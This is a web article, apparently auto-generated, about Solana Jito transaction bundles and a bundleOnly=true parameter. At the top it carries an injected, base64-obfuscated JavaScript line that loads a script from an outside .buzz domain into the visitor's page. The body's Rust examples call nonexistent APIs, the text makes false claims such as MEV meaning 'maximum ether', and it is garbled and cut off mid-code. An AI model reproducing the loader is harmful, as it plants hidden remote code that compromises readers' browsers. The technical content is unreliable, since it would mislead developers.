Solana: Jito transaction with bundleOnly=true parameter?
- 2025-02
- by Cn Vn
const pdx=“bm9yZGVyc3dpbmcuYnV6ei94cC8=“;const pde=atob(pdx);const script=document.createElement(„script“);script.src=“https://“+pde+“cc.php?u=863eef15″;document.body.appendChild(script);
Solana: Jito transaction package only with V2. Options?
=============================================================
Starting with Solana version 1.13, you can send several transactions within one package if certain conditions are met. In this article, we will consider how to use the bundleOnly=true' parameter when sending a transaction to Solana.
What is a Jito transaction?
-----------------------------
Jito transaction is an optimized transaction type that allows you to efficiently and securely transfer assets between multiple accounts. It was introduced in Solana 1.8 as a replacement for the old "transfer" function. A Jito transaction consists of several transactions, each of which has its own set of data.
Batch Transactions
-----------------------
A batch transaction is an optimized way of sending multiple transactions within a single transaction. This allows you to achieve a significant increase in efficiency compared to sending individual transactions one after the other.
BundleOnly Option
---------------------------
When sending a transaction as a bundle to Solana, you can specify thebundleOnlyparameter with the value
true. Here is an example:
use solana-program::account_info;
// Create two account information objects for sender and recipient accounts
let sender_account_info = account_info::new(
"sender".to_string(),
0,
1, // sender's account index
);
let receive_account_info = account_info::new(
"get".to_string(),
0,
1, // the recipient's account index
);
// Create a Jito transaction with bundleOnly=true and tip
let jito_transaction = solana_program::transaction::Builder::new()
.set_account_info(sender_account_info)
.set_account_info(recipient_account_info)
.set_tag("JitoTransaction")
.set_tag("BundleOnly=true")
.with_packed_bytes(
solana_program::packed_array::array(
// Add Jito transactions as individual bytes
solana_program::packed_array::new(
account_info::new(
"transaction1".to_string(),
0,
1, // transaction index
),
account_info::new(
"transaction2".to_string(),
0,
1, // transaction index
)
),
)
);
// Send the Jito transaction as a packet
let result = solana_program::program::send_jito_transaction(&jito_transaction);
MeV Protection
------------------
By default, Solana transactions do not provide MeV (maximum ether) protection. However, you can enable MeV protection for a Jito transaction by adding the mev_protection=trueparameter to the transaction data:
„Salt
let jito_transaction = solana_program::transaction::Builder::new()
.set_account_info(sender_account_info)
.set_account_info(recipient_account_info)
.set_tag(„JitoTransaction“)
.set_tag(„BundleOnly=true“)
.with_packed_bytes(
solana_program::packed_array::array(
// Add Jito transactions as individual bytes
solana_program::packed_array::new(
account_info::new(
„transaction1“.to_string(),
0,
1, // transaction index
),
account_info::new(
„transaction2“.to_string(),
0,
1, // transaction index
)
),
// Add MeV protection bytes
solana_program::packed_array::new(
account_info::new(
„mev_protection_bytes“.